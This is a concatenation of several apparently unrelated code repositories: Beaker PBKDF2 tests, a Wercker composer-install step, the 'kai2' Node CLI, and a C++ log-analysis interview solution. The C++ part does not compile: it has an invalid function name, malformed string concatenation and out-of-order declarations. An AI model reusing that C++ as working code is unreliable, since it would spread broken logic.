(result, expected) def test_pbkdf2_test2(): result = b2a_hex(pbkdf2("password", "<PASSWORD>", 1200, dklen=32)) expected = b"5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13" assert result == expected, (result, expected) def test_pbkdf2_test3(): result = b2a_hex(pbkdf2("X"*64, "pass phrase equals block size", 1200, dklen=32)) expected = b"139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1" assert result == expected, (result, expected) def test_pbkdf2_test4(): result = b2a_hex(pbkdf2("X"*65, "pass phrase exceeds block size", 1200, dklen=32)) expected = b"9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a" assert result == expected, (result, expected) def test_pbkd2_issue81(): """Test for Regression on Incorrect behavior of bytes_() under Python3.4 https://github.com/bbangert/beaker/issues/81 """ result = pbkdf2("MASTER_KEY", b"SALT", 1) expected = pbkdf2("MASTER_KEY", "SALT", 1) assert result == expected, (result, expected) <file_sep>/tests/test_converters.py from beaker._compat import u_ import unittest from beaker.converters import asbool, aslist class AsBool(unittest.TestCase): def test_truth_str(self): for v in ('true', 'yes', 'on', 'y', 't', '1'): self.assertTrue(asbool(v), "%s should be considered True" % (v,)) v = v.upper() self.assertTrue(asbool(v), "%s should be considered True" % (v,)) def test_false_str(self): for v in ('false', 'no', 'off', 'n', 'f', '0'): self.assertFalse(asbool(v), v) v = v.upper() self.assertFalse(asbool(v), v) def test_coerce(self): """Things that can coerce right straight to booleans.""" self.assertTrue(asbool(True)) self.assertTrue(asbool(1)) self.assertTrue(asbool(42)) self.assertFalse(asbool(False)) self.assertFalse(asbool(0)) def test_bad_values(self): self.assertRaises(ValueError, asbool, ('mommy!')) self.assertRaises(ValueError, asbool, (u_('Blargl?'))) class AsList(unittest.TestCase): def test_string(self): self.assertEqual(aslist('abc'), ['abc']) self.assertEqual(aslist('1a2a3', 'a'), ['1', '2', '3']) def test_None(self): self.assertEqual(aslist(None), []) def test_listy_noops(self): """Lists and tuples should come back unchanged.""" x = [1, 2, 3] self.assertEqual(aslist(x), x) y = ('z', 'y', 'x') self.assertEqual(aslist(y), y) def test_listify(self): """Other objects should just result in a single item list.""" self.assertEqual(aslist(dict()), [{}]) if __name__ == '__main__': unittest.main() <file_sep>/beaker/docs/modules/pbkdf2.rst :mod:`beaker.crypto.pbkdf2` -- PKCS#5 v2.0 Password-Based Key Derivation classes ================================================================================ .. automodule:: beaker.crypto.pbkdf2 Module Contents --------------- .. autofunction:: pbkdf2
cabbcb8288afeedddc254d68bdfab3d41157e214
[ "Python", "reStructuredText" ]
32
Python
ardeois/beaker
4dd2c2d0566bf01ac8b62567f54d623807516a3c
6d0a99f05714b986b44f83f56a35043508fef784
refs/heads/master
<repo_name>bashaus/wercker-composer-install<file_sep>/run.sh #!/bin/bash # Property: clear-cache-on-failed # Must be a valid boolean (true, false, 1 or 0) case "$WERCKER_COMPOSER_INSTALL_CLEAR_CACHE_ON_FAILED" in "true" | "1" ) WERCKER_COMPOSER_INSTALL_CLEAR_CACHE_ON_FAILED=1 ;; "false" | "0" ) WERCKER_COMPOSER_INSTALL_CLEAR_CACHE_ON_FAILED=0 ;; * ) fail "Property clear-cache-on-failed must be either true or false" esac # Property: use-cache # Must be a valid boolean (true, false, 1 or 0) case "$WERCKER_COMPOSER_INSTALL_USE_CACHE" in "true" | "1" ) WERCKER_COMPOSER_INSTALL_USE_CACHE=1 ;; "false" | "0" ) WERCKER_COMPOSER_INSTALL_USE_CACHE=0 ;; * ) fail "Property use-cache must be either true or false" esac # Property: dev # Must be a valid boolean (true, false, 1 or 0) case "$WERCKER_COMPOSER_INSTALL_DEV" in "true" | "1" ) WERCKER_COMPOSER_INSTALL_DEV=1 ;; "false" | "0" ) WERCKER_COMPOSER_INSTALL_DEV=0 ;; * ) fail "Property dev must be either true or false" esac # Dependency: GIT if [[ ! -n "$(type -t git)" ]]; then debug "GIT is not installed" info "Consider using a box with GIT pre-installed" apt-get update apt-get install -y git fi # Dependency: ZIP if [[ ! -n "$(type -t zip)" ]]; then debug "ZIP is not installed" info "Consider using a box with ZIP pre-installed" apt-get update apt-get install -y zip fi main() { if [ "$WERCKER_COMPOSER_INSTALL_USE_CACHE" == "1" ]; then info "Using wercker cache" setup_cache fi if [ "$WERCKER_COMPOSER_INSTALL_DEV" == "1" ]; then info "Including require-dev" else info "Skipping require-dev" fi composer_install success "Finished composer install" } setup_cache() { debug 'Creating $WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME' mkdir -p "$WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME" debug 'Configuring composer to use wercker cache' export COMPOSER_HOME="$WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME" } clear_cache() { warn "Clearing composer cache" $WERCKER_STEP_ROOT/composer.phar clear-cache # make sure the cache contains something, so it will override cache that get's stored debug 'Creating $WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME' mkdir -p "$WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME" printf keep > "$WERCKER_CACHE_DIR/$WERCKER_STEP_OWNER/$WERCKER_STEP_NAME/.keep" } composer_install() { local attempts=3; for attempt in $(seq "$attempts"); do info "Starting composer install, attempt: $attempt" $WERCKER_STEP_ROOT/composer.phar install $WERCKER_COMPOSER_INSTALL_OPTS \ $( [[ "$WERCKER_COMPOSER_INSTALL_DEV" == "0" ]] && echo "--no-dev" ) \ && return; if [ "$WERCKER_COMPOSER_INSTALL_CLEAR_CACHE_ON_FAILED" == "1" ]; then clear_cache fi done fail "Failed to successfully execute composer install, attempts: $attempts" } main; <file_sep>/README.md # Composer Install Wercker step to install composer dependencies. Includes a packaged version of composer and caches for later user in `$WERCKER_CACHE_DIR`. ## Notes The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119. ## Sample Usage build: box: php:7.1 steps: - bashaus/composer-install: dev: true &nbsp; ## Dependencies This step assumes that the box you are using already has PHP installed. Use `box: php:7.1` or another container with PHP. &nbsp; ## Step Properties ### clear-cache-on-failed This script attempts to run `composer install` three times before failing. After each failure, should the composer cache directory be cleared? Enable with `true` or disable with `false`. * Since: `0.0.1` * Property is `Optional` * Default value is: `true` (clear cache on failure) * Recommended location: `Inline` * `Validation` rules: * Must be either `true`, `false`, `1` or `0` &nbsp; ### use-cache To speed the installation process, composer uses a cache so that the package doesn't need to be continuously downloaded. In this step, the cache is located in `$WERCKER_CACHE_DIR/bashaus/composer-install` to persist across pipelines. Enable persistent cache with `true` or disable with `false`. * Since: `0.0.1` * Property is `Optional` * Default value is: `true` (use cache) * Recommended location: `Inline` * `Validation` rules: * Must be either `true`, `false`, `1` or `0` &nbsp; ### dev Whether to install development dependencies. By default, development dependencies in `require-dev` are not installed during integration. Enable `require-dev` with `true` or disable with `false`. * Since: `0.0.1` * Property is `Optional` * Default value is: `false` (do not install from `require-dev`) * Recommended location: `Inline` * `Validation` rules: * Must be either `true`, `false`, `1` or `0` &nbsp; ### opts Any additional options and flags that you would like to pass to composer. * Since: `0.0.1` * Property is `Optional` * Recommended location: `Inline` &nbsp;
7164e38d42e61596cee9b3ab65414aa659e754b9
[ "Markdown", "Shell" ]
2
Shell
bashaus/wercker-composer-install
0059f89fa240482685db16d7e043ddf1384baba9
edade229fc7ec218c9d4f59979087a2a7c9b9f7f
refs/heads/master
<file_sep>#include "sshwrapper.h" #include<iostream> #include<string.h> #include<sys/syscall.h> #include<unistd.h> using namespace std; //constructor initialization list sshwrapper::sshwrapper( const std::string Rhost, const std::string Rcmd,/* const std::string Inputfile*/, const std::string Outputfile) : Remote_Host(Rhost), Remote_Command(Rcmd)/*, Input_File(Inputfile)*/, Output_File(Outputfile) { } void sshwrapper::Execute_Command() { std::string sshpath="/usr/bin/ssh"; char *User=argv[1]; std::string userID(User); userID=USERID + "@"; std::string Firing_Command=sshpath + " " + userID + Remote_Host + " ./" +Remote_command + /*" <" + Input_file + " >" + */ Output_File; if(system(Firing_Command.c_str()) < 0) { throw runtime_error("SSH Command Execution Failed!!"); } counter--; } <file_sep>Amazon-System-Engineer-Question =============================== Determines the top 10 most common source IP addresses, and their hit rates, for a fleet of 1000 web servers within the last hour. The following assumptions may be used... web servers are locally writing access logs in the Apache Combined Log Format (http://httpd.apache.org/docs/current/logs.html#combined). web servers are accessible by ssh. Problem Summary: SE1 QE1::: Determines the top 10 most common source IP addresses, and their hit rates, for a fleet of 1000 web servers within the last hour. The following assumptions may be used... web servers are locally writing access logs in the Apache Combined Log Format (http://httpd.apache.org/docs/current/logs.html#combined). web servers are accessible by ssh. Various other assumptions, taken in consideration are: **Code has been written on notepad++, so alignment may go wrong depending upon your choice of editor to open the files. 1) Pattern matching is done on the following fields of the date command as mentioned below; %d -> Date %b -> Month %Y -> Year %H -> Hours %M -> Minutes %S -> Seconds which means distance wrt to time(i.e. at most 1 hour behind current time) is calculated based on the above mentioned parameters of the date command. 2) If some of the webservers are down, then their is no outcome for the query fired on those servers, only in the case, when there is no shared file system (or log file in our case) i.e. the log file on which we work is not present locally on the server from where we fire the program. 3) The user who executes the program should have its public key shared with all the other 1000 webservers, so that the user can ssh without entering password. 4) The arguments are passed to program as arguments in the order "1000 server name file" and "log file name on remote servers" 5) The server from where this program is fired is either one of the 1000 webservers or a separate one. 6) Program is allowed to create files on the server where the program executes. 7) The files created on the run, are cleaned at the end of the execution of the program. The program is written in c++. And, is written out in 2 ways, one being the sequential way, and the other being concurrent. A) In order to run the code in sequential mode(i.e. using signal thread) use the following command to compile the program and run the program; 1) First compile the code using the command: on most of the linux machines this works fine, if doesn't then execute command 1.b. 1.a # g++ -std=c++0x sshwrapper.h sshwrapper.cpp maxhitRate.cpp -o OutputFile 1.b # g++ -std=c++11 sshwrapper.h sshwrapper.cpp maxhitRate.cpp -o OutputFile 2) To execute fire the object file in the manner defined below; # ./OutputFile inputServerNameFile LogFilePathOnRemoteServers here, inputServerNameFile and LogFilePathOnRemoteServers should be replaced with actual arguments. B) In order to run the code in multi-thread mode, please fire the following set of commands with actual arguments; 1) First compile the code using the command: 1.a # g++ -std=c++0x -pthread sshwrapper.h sshwrapper.cpp maxhitRateThread.cpp -o OutputFile this works on most of the machines, if doesn't, please use the command mentioned below; 1.b # g++ -std=c++11 -pthread sshwrapper.h sshwrapper.cpp maxhitRateThread.cpp -o OutputFile 2) To execute fire the object file in the manner defined below; # ./OutputFile inputServerNameFile LogFilePathOnRemoteServers here, inputServerNameFile and LogFilePathOnRemoteServers should be replaced with actual arguments. <file_sep>/* Program created by <NAME> Purpose of the program::: Determines the top 10 most common source IP addresses, and their hit rates, for a fleet of 1000 web servers within the last hour. The following assumptions may be used... **web servers are locally writing access logs in the Apache Combined Log Format (http://httpd.apache.org/docs/current/logs.html#combined). **web servers are accessible by ssh. */ /*--->>>including the preprocessor */ #include<iostream> #include<string.h> #include<unistd.h> #include<stdlib.h> #include<sys/syscall.h> //defines system call #include <algorithm> // std::make_heap, std::pop_heap, std::push_heap, std::sort_heap #include <vector> // std::vector #include <map> //std::map #include "sshwrapper.h" #include<fstream> using namespace std; // 1 ) Declaring the map to keep the data on server from where this program is fired. // 2 ) Format of fields is "IPADDRESS, HITRATE" std::map< std::string , int > tracker; std::map< std::string , int >::iterator iter; // 1) For getting the top 10 fields of the pattern "IPADDRESS, HITRATE", we would be using a HEAP data Structure. // 2) This CompareByValue is used to sort heap of constant size 10 struct CompareByValue { bool operator() (const data a, const data b) const { return a.hitrate < b.hitrate; }; }; /*--->>>function declarations */ /* 1) To check if the program has been supplied with all the required arguments. Arguments to be specified are mentioned below in the correct order as follows; a) User-name: As whom do you run this program from the console (this user should be a valid user, and it should right to ssh on all the 1000 servers b) Configuration file name: This arguments contains the name of the file which lists all the 1000 webservers(specifically IP Addresses). c) Log file name: This arguments mentions the log file under consideration on the remote webservers */ bool CheckArguments(int argc, char *argv[]); /* 2) Now, we connect to 1000 servers and get relevant output from them. This function is passed the file which contains the name of 1000 webservers. */ bool Connect&Getdata( char *ServerListFileName); /*--->>>Function definitions */ bool CheckArguments(int argc, char *argv[]) { //Checking the argument count, should be 3 if(argc!=3) { std::cerr<<"usage ./solution User-Id ServerListFileName LogFileName"; return false; } //Validating the arguments passed /*User name */ if( system( "awk 'BEGIN { status =0 ;} $1 ~/`argv[1]`/ {status=1;} END {if(status == 0) print "the User is Valid, can we can move on with execution!!"; }'") < 0 ) { throw runtime_error("User does not exist!!"); return false; } /* ServerList file name */ ifstream list(argv[2], std::ios::in); if( !list ) { std::cerr<<"the serverlist file does not exist, please make sure filename is correct!!"; return false; } //clears all test list.close(); return true; } bool Connect&Getdata( char *ServerListFileName) { //creating 1000 threads for getting information in pair (IPADDRESS, HITRATE) std::thread threads[1000]; //command to executed on the remote system to filter based on the condition, that the line added is at max 1 hour old from current system time std::string command="awk -vDate=`date -d 'now -1 hours' + [%d/%b/%Y:%H:%M:%S` '{ if ($4 > Date) print $1}'" +" " + string(argv[3]) +" | sort | uniq -c | sort -n | tail"; ifstream inputfile("ServerListFileName", std::ios::in); std::string ServerIP; //string to hold the address, so the host knows, where to connect int count(0); //count to hold the number of remote of machines from where we have got the information while(inputfile) { inputfile>>ServerIP; sshwarpper sshExecute(ServerIP, command, "Outputs/"ServerIP+".out" ); sshwarper::counter++; count++; threads[count] = std::thread(&sshwrapper::Execute_Command() , &sshExecute); } int threadID; while(sshwarper::counter!=0) {/* if(threads[threadID].joinable()) { threads[threadID].join(); count--; } */ } //start reading the file one by one, and put the data to the heap... //first get the files in a new file system("ls Outputs/ > maxHits.out"); //Now open all the files which are listed in the file maxHits.out, open them add contents to the data structure to return the top 10 ip's //and their hit rates ifstream reader("maxHits.out"); try { if( !maxHits.out ) throw -1; } catch (int exception) { std::cerr<<"Program has been unsuccessful to create the file maxHits.out, and hence exiting!!"; return false; } std::string filenames; while(reader) { reader >> filenames; std::string pathtofile="Outputs/" + filenames; ifstream reader1(pathtofile.c_str()); if(!reader1) { std::cerr<<"error reading the file" << pathtofile<<std::endl; } int hitRate; std::string IPAddress; while(reader1) { filecounter++; reader1>>hitRate; reader1>>IPAddress; //add the entries to the hashmap tracker[IPAdress]+=hitRate; } //close the file which has been imported from the remote servers reader1.close(); } //close the file reader.close(); //delete all the unnecessay files from the system system("rm -f -R Outputs/"); system("rm -f maxHits.out"); /*now we have the data in the format IPAddress -- >> hit rate Converting it to the required form (top 10) */ typedef struct returndata { int hitrate; std::string ipaddress; }data; std::vector <data> myVector; iter=tracker.begin(); int ipcount(0); while( iter!=tracker.end() ) { data Data; if(ipcount < 10) { Data.hitrate=iter->second; Data.ipaddress=iter->first; ipcount++; myVector.push_back(Data); if(ipcount==9) { std::sort(myVector.begin(), myVector.end(), CompareByValue()); } } else { data Data1=myVector.front(); if(iter->second > Data1.hitrate) { myVector.pop_front(); data Data; Data.hitrate=iter->second; Data.ipaddress=iter->first; myVector.push_front(Data); std::sort(myVector.begin(), myVector.end(), CompareByValue()); } } iter++; } //display the result on the screen as well as a file ofstream outputfile("maxHitIPs.out", std::ios::out); if(!outputfile) { std::cerr<<"error while creating the final output file"<<std::endl; } std::cout<<"IP ADDRESS "<<"HIT RATE"; outputfile<<"IP ADDRESS "<<"HIT RATE"; int size=myVector.size(); for(int i=0; i < size ; i++) { std::cout << myVector[i].ipaddress <<" "<<myVector[i].hitrate<<std::endl; outputfile << myVector[i].ipaddress <<" "<<myVector[i].hitrate<<std::endl; } return true; } int main(int argc, char *argv[]) { //Checking the usage of the program if( CheckArguments(argc, argv[]) == false) { return 0; } //create a directory in the present working directory, to store the output files if(system("mkdir -p Outputs") <0) { std::cerr<<"Exception, wasn't able to create a directory in the PWD, please check current directory permissions"<<std::endl; exit (0); } //Now connect to all the 1000 webservers and get relevant data from there, we will just fetch 10 rows of data with the ip address and hit rate char *serverListFile=argv[2]; Connect&Getdata(serverListFile); //remove the directory created on the system if(system("rm -f -R Outputs") <0) { std::cerr<<"Exception, wasn't able to delete the Outputs Directory in the PWD, please delete it manually after this program completes execution hereafter!!"<<std::endl; return 0; } return 1; } <file_sep>//ssh wrapper class #ifndef SSHWRAPPER_H #define SSHWRAPPER_H #include<string.h> using namespace std; class sshwrapper { private: std::string Remote_Host; //Place holder for the remote host name(IP) std::string Remote_Command; //Place holder for the remote command that needs to fired //std::string Input_File; //Place holder for the name of the file that tells the location of the log file on the remote host std::string Output_File; //Place holder for the output that is generated locally on the server after running the remote command on the remote host public: static int counter(0); sshwrapper(); void Execute_Command(); }; #endif
472f4d2e63c7ad941325eb9a7e19b1deaf4edd10
[ "Markdown", "C++" ]
4
C++
sumshar1/Amazon-System-Engineer-Question
176b2f86feb6a49a9000db4435e0eaf1994e3501
21ea7b8db9a268c1f69e35015c9597197c1636c2
refs/heads/main
<file_sep><?php use Illuminate\Support\Facades\Route; Route::get('/', function () { $currentPage = 'index'; return view('pages.index', compact('currentPage')); })->name('index'); Route::get('/about', function () { $currentPage = 'about'; return view('pages.about', compact('currentPage')); })->name('about'); Route::get('/products', function () { $currentPage = 'products'; return view('pages.products', compact('currentPage')); })->name('products'); Route::get('/store', function () { $currentPage = 'store'; return view('pages.store', compact('currentPage')); })->name('store');
fa2fa19653b85f7f7567e9b23a88ad6d4f7a3e80
[ "PHP" ]
1
PHP
Yassin9808/Laravel-Template-3
cb3aa29977bafd7bbaed9a01914954104ba92082
2f7185150e12bb87b1acf7bacd7eaa18f2eebfda
refs/heads/master
<repo_name>yanlp/demos<file_sep>/react-test/src/component/Demos/DetailDemos/DetailDemos.js import React, { Component } from 'react'; import Todo from '../ToDo/ToDo' import PureCom from '../PureCom/PureCom' const DemoObj={ ToDo:Todo, PureCom:PureCom, } export default class Demo extends Component { constructor(props) { super(props) this.state = { list: [ // {id:1,title:'asdfsdaf',status:1} ] } } render() { let DemoComponent=DemoObj[this.props.match.params.id] return ( <div className="wrapper" style={{ background: '#fff', padding: '20px' }}> <DemoComponent /> {/* {this.computer(this.props.match.params.id)} */} </div> ) } }
330e252d3b85b700c58adfaabe6ee5c9143de605
[ "JavaScript" ]
1
JavaScript
yanlp/demos
8e13343a2a4d64d2b48ab2b60f9e4e55ab0a6a33
76f25535562d0ab945f90ffac2dca130176253ab
refs/heads/master
<file_sep>#!/usr/bin/env node var program = require('commander') .version(require('../package.json').version) .usage('<user>') .parse(process.argv) var user = program.args[0] if (!user) throw new Error('an npm user must be set') console.log('transferring npm publishing rights to "%s"', user) var exec = require('child_process').execFileSync var me = exec('npm', ['whoami']).toString().trim() var packages = exec('curl', ['-s', 'http://registry.npmjs.org/-/by-user/' + me]) packages = JSON.parse(packages.toString())[me] packages.forEach(function (package) { exec('npm', ['owner', 'add', user, package]) console.log('package "%s" has been transferred', package) }) <file_sep> # npm-transfer [![NPM version][npm-image]][npm-url] [![build status][travis-image]][travis-url] [![Test coverage][coveralls-image]][coveralls-url] [![Gittip][gittip-image]][gittip-url] Give publishing rights to all the npm modules you own to someone else. [npm-image]: https://img.shields.io/npm/v/npm-transfer.svg?style=flat [npm-url]: https://npmjs.org/package/npm-transfer [travis-image]: https://img.shields.io/travis/repo-utils/npm-transfer.svg?style=flat [travis-url]: https://travis-ci.org/repo-utils/npm-transfer [coveralls-image]: https://img.shields.io/coveralls/repo-utils/npm-transfer.svg?style=flat [coveralls-url]: https://coveralls.io/r/repo-utils/npm-transfer?branch=master [gittip-image]: https://img.shields.io/gittip/jonathanong.svg?style=flat [gittip-url]: https://www.gittip.com/jonathanong/
f43e0b9fccfea818381185f76b8356fef9894725
[ "JavaScript", "Markdown" ]
2
JavaScript
isabella232/npm-transfer
4532273e85c8e586e0535fdec08290c2f34cf24d
e08f8b9da8132ad0cbabea6e9c2d4a808a161ca5
refs/heads/master
<file_sep>### TODO Commands ### Install plugin with npm packages $ kai install kai-twitter ### Save command ```bash $ kai remember command 'service start nginx' as nginx $ kai run nginx ``` ### Ask natural question ```bash $ kai what is my ip $ kai what\'s my os $ kai what is my account $ kai what time is it? ``` ### Process management $ kai kill nginx # Same as pkill<file_sep>``` ___ __ ________ ___ _______ |\ \|\ \ |\ __ \|\ \ / ___ \ \ \ \/ /|\ \ \|\ \ \ \/__/|_/ /| \ \ ___ \ \ __ \ \ \__|// / / \ \ \\ \ \ \ \ \ \ \ \ / /_/__ \ \__\\ \__\ \__\ \__\ \__\|\________\ \|__| \|__|\|__|\|__|\|__| \|_______| ``` [![NPM](https://nodei.co/npm/kai2.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/kai2/) Designed for programmers. Kai makes your Bash smarter and save your time. # Features 1. Switch working folder in an elegant way. 2. Save short memos in terminal. 3. Save command alias quickly. 4. Check stackoverflow in terminal. # Installation Install the tool ```bash npm install kai2 ``` Bind it with your Bash client ```bash source kai2install ``` # Usage ### Path remembering ```bash $ kai remember . as apache config $ kai go to apache config $ kai forget apache config ``` ### Command memo ``` $ kai remember command 'service start nginx' as nginx $ kai run nginx $ kai r nginx ``` ### Variable memo ``` $ kai remember 192.168.21.136 as android ip $ kai show android ip ``` ### Searching Open a new browser window ```bash $ kai google how to make a cake ``` Stackoverflow in terminal, powered by google search ```bash $ kai stack get pid of process name os x ``` ### Entertaining ```bash $ kai tell me a joke ``` ### Verbose mode (for debugging) ```bash $ kai tell me a joke -v ``` ### Using API ```bash $ kai set key google_api_key = [ your google api key ] $ kai unset key google_api_key = [ your google api key ] ``` # Compiling This library is written in typescript. So you need to install a bundle of packages to start. ### Installing dependencies ```bash $ npm i ``` ### Building typescripts ```bash $ gulp ``` ### Runtime compiling ```bash $ gulp watch ```<file_sep>newFolder="" kai2js $@ newFolder=$(cat $HOME/.kai/cd 2>/dev/null) rm "$HOME/.kai/cd" 2>/dev/null if [ "$newFolder" == "" ] then n=1 else cd "$newFolder" fi<file_sep>echo "alias kai='source kai2sh'" >> ~/.bash_profile echo "alias kai2='source kai2sh'" >> ~/.bash_profile source ~/.bash_profile<file_sep>import { REPLCommand } from 'repl'; import { Cipher } from 'tls'; import { version } from 'punycode'; import * as vm from 'vm'; const fs = require('fs'); const colors = require('colors'); const os = require('os'); const shell = require("shelljs"); const fetch = require('node-fetch'); const spawn = require('child_process').spawn; const cheerio = require('cheerio'); const argv = process.argv; let verbose = false; let debug = (str: String) => { if (verbose) { console.log(str.grey); } } if (argv.indexOf('-v') > 0) { verbose = true; argv.splice(argv.indexOf('-v'),1); } const USER_HOME = os.homedir(); let C: any = {shortcut: {}}; let initJSON = ""; try { initJSON = fs.readFileSync(`${USER_HOME}/.kai/settings.json`, 'utf-8').toString(); C = JSON.parse(initJSON); } catch (e) { if (e.name == "SyntaxError") { console.log(("Syntax Error in ~/.kai/settings.json").red); process.exit(-1); } try { fs.mkdirSync(`${USER_HOME}/.kai`); } catch (eMkdir) { } fs.writeFileSync(`${USER_HOME}/.kai/settings.json`, '{shortcut:{}}'); C = {shortcut:{}}; } let sentence = argv.slice(2).map((v) => (v.replace(' ', '\\ '))).join(" "); interface IPattern { re: RegExp; handler: Function; } var patterns: Array<IPattern> = []; // TODO: Integration with Api.ai to the top layer. // Basic Module ( shortcut and note memory ) patterns.push({ re: /^(go[ ]?to|jump[ ]?to) (.+)$/, handler: onGoto }); patterns.push({ re: /^(forget|forgot|delete|remove) (.+)$/, handler: onForget }); patterns.push({ re: /^(remember|record|note|save|memo) (['"]?.+['"]?) (as)? (['"]?.+?['"]?)$/, handler: onRemember }); // kai remember here as 'webdev' -> kai goto webdev patterns.push({ re: /^where[ ]?is[ ]?(.+)$/, handler: onWhere }); patterns.push({ re: /^(set key|unset key|get key) ([^ ]+)[ ]?[=]?[ ]?(.*)$/, handler: onSet }); patterns.push({ re: /^(run|exec|r|e) (.+)$/, handler: onRun }); patterns.push({ re: /^(show) (.+)$/, handler: onShow }); // Google patterns.push({ re: /^google (.+)$/, handler: onGoogle }); patterns.push({ re: /^(stackoverflow|stack) (.+)$/, handler: onStackoverflow }); // Joke Module patterns.push({ re: /^tell me a joke$/, handler: onJoke }); function fuzzySearch(query: string): Array<string>{ let result: Array<string> = []; Object.keys(C.shortcut).map((i: string) => { if(i.indexOf(query) == 0) { result.push(i); } else if (~i.split(' ').indexOf(query)) { result.push(i); } }); return result.map(v => v.cyan); } function combineWords(words: Array<string>) { if (words.length == 0) return ''; if (words.length == 1) { return words[0]; } if (words.length == 2) { return words[0] + ' or ' + words[1]; } let finalWord = words.pop(); return words.join(',') + ' or ' + finalWord; } function onGoto(result) { let key = result[2]; let path = C.shortcut[key]; if (!path) { let fuzzyResult = fuzzySearch(key); if(fuzzyResult.length > 0){ console.log('Do you mean "kai go to' +(combineWords(fuzzyResult))+ '"?'); } else { console.log(`I don't know where ${key} is.`); } } else { console.log(`Jumping to ${path}`); fs.writeFileSync(`${USER_HOME}/.kai/cd`, path); } } function onRun(result) { let key = result[2]; let cmd = C.shortcut[key]; if (!cmd) { let fuzzyResult = fuzzySearch(key); if(fuzzyResult.length > 0){ console.log('Do you mean "kai run ' +(combineWords(fuzzyResult))+ '"?'); } else { console.log(`I don't know what ${key} means.`); } } else { console.log(`Executing ${cmd}`.grey); let cmd_token = cmd.replace(/\\ /g,'\\\\space\\\\').split(' ').map((v)=>(v.replace(/\\\\space\\\\/g, ' '))); spawn(cmd_token[0], cmd_token.splice(1), { env: process.env, stdio: [0,1,2] }); } } function onShow(result) { let key = result[2]; let note = C.shortcut[key]; if (key == 'all') { note = ''; Object.keys(C.shortcut).map((i) => { note += i + ' => ' + C.shortcut[i] + '\r\n'; }); } if (!note) { let fuzzyResult = fuzzySearch(key); if(fuzzyResult.length > 0){ console.log('Do you mean "kai show ' +(combineWords(fuzzyResult))+ '"?'); } else { console.log(`I don't know what ${key} means.`); } } else { console.log(note); } } function onForget(result) { let key = result[2]; let path = C.shortcut[key]; if (!path) { console.log(`${key} means nothing to me.`); } else { console.log(`OK, I'll forget ${key} (${path})`); delete C.shortcut[key]; } } function onRemember(result) { let path = result[2], key = result[4]; if (!C.shortcut) { C.shortcut = {}; } if (path === "." || path === "here" || path === "this folder") path = process.cwd(); C.shortcut[key] = path; console.log(`Remembering ${path} as ${key}`.green); } function onWhere(result) { let key = result[1]; let path = C.shortcut[key]; if (!path) { console.log(`I don't know where ${key} is.`); } else { console.log(`It is located at ${path}`); } } function onGoogle(result) { spawn('open', ['https://www.google.com.tw/webhp?ie=UTF-8#q='+encodeURIComponent(result[1])]); } function onJoke(result) { fetch('http://tambal.azurewebsites.net/joke/random').then(function(res) { return res.json(); }).then(function(json) { console.log(json.joke); }); } function onSet(result){ let cmd = result[1], key = result[2], val = result[3]; if (!C.keys) { C.keys = {}; } if (!~['google_cx', 'google_api_key'].indexOf(key)) { console.log("Key ${key} not supported"); } if (cmd == "unset key") { delete C.keys[key]; console.log(`Key ${key} deleted.`); } else if(cmd=="get key") { console.log(`Key "${key}" = "${C.keys[key]}".`); } else if(val && cmd == "set key") { C.keys[key] = val; console.log(`Setting "${key}" = "${val}".`); } } function onStackoverflow(result){ let parsingLink = false; let linkName = ""; let pageLink = ""; if (!C.keys || !C.keys['google_cx'] || !C.keys['google_api_key']) { return console.log('You must run `kai set google_cx = [your custom search engine index]` & `kai set google_api_key = [your google api key]` first. See https://developers.google.com/custom-search/json-api/v1/overview.'); } let url = `https://www.googleapis.com/customsearch/v1?q=${encodeURIComponent(result[2])}&cx=${C.keys['google_cx']}&key=${C.keys['google_api_key']}`; console.log("By the power of " + "Google".rainbow + " ...\n"); fetch(url).then((res) => { return res.json(); }).then((result)=>{ result.items.map((v, i) => { if (i!=0) return; console.log(`*** ${v.title} ***`); fetch(v.link).then(res => res.text()).then((html) => { let $ = cheerio.load(html); console.log($('.answer.accepted-answer .post-text').text()); }); }); }) } debug("Sentence " + sentence); let matches:Array<{result: RegExpExecArray, pattern: IPattern}> = []; patterns.map((v: IPattern) => { let result: RegExpExecArray | null = v.re.exec(sentence); if (result) { matches.push({result: result, pattern: v}); } }); if (matches.length > 1) { debug("DEBUG:: Command matched twice".red); } matches.map((v: {result: RegExpExecArray, pattern: IPattern}) => { debug("Matched " + v.pattern.re.source); v.pattern.handler(v.result); }); let endJSON = JSON.stringify(C); if (initJSON != endJSON) { fs.writeFileSync(`${USER_HOME}/.kai/settings.json`, endJSON + "\n"); } if (sentence == "") { console.log("Hi! How may I help you? Checkout more information at https://github.com/simonxeko/kai2"); } else if(matches.length == 0) { if(C.shortcut[sentence]) { console.log('Do you mean: "'+ ("kai run " + sentence).cyan +'"?') } else { console.log("I don't quite understand the command."); } }<file_sep>let gulp = require('gulp'); let tsc = require("gulp-typescript"); let del = require('del'); let concat = require('gulp-concat'); let sourcemaps = require('gulp-sourcemaps'); let path = require('path'); let watch = require('gulp-watch'); let header = require('gulp-header'); let tsProject = tsc.createProject('tsconfig.json'); function buildTs() { console.log("Start building typescripts."); const tsResult = gulp.src(['typings/index.d.ts', 'src/**/*.ts']) .pipe(sourcemaps.init()) .pipe(tsProject()); let result = tsResult.js .pipe(sourcemaps.write('.', { sourceRoot: function(file) { return `${file.cwd}/src`; }, })) .pipe(header('#! /usr/bin/env node\n\n')) .pipe(gulp.dest('build')); console.log("Building typescripts completed."); return result; } gulp.task('watch', () => { // Endless stream mode return watch('src/**/*.ts', buildTs); }); gulp.task('clean', (cb) => { return del('dist', cb); }); gulp.task('build', ['clean'], buildTs); gulp.task('default', ['build']);
16aab0c30f68ac89ca789019e3cdcc5d3fdb63e9
[ "Markdown", "TypeScript", "JavaScript", "Shell" ]
6
Markdown
simonxeko/kai2
